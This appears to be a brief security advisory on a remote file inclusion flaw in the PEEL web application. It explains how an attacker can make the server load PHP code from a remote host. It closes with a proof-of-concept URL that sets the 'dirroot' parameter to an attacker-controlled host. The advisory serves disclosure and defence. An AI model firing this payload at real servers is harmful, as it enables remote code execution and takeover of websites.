source: http://www.securityfocus.com/bid/6496/info

PEEL is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers.

An attacker may exploit this by supplying a path to a maliciously created file, located on an attacker-controlled host as a value for some parameters.

If the remote file is a PHP script, this may allow for execution of attacker-supplied PHP code with the privileges of the webserver. Successful exploitation may provide local access to the attacker. 

http://[target]/modeles/haut.php?dirroot=http://[attacker]&SESSION=.
with :
http://[attacker]/lang/lang.php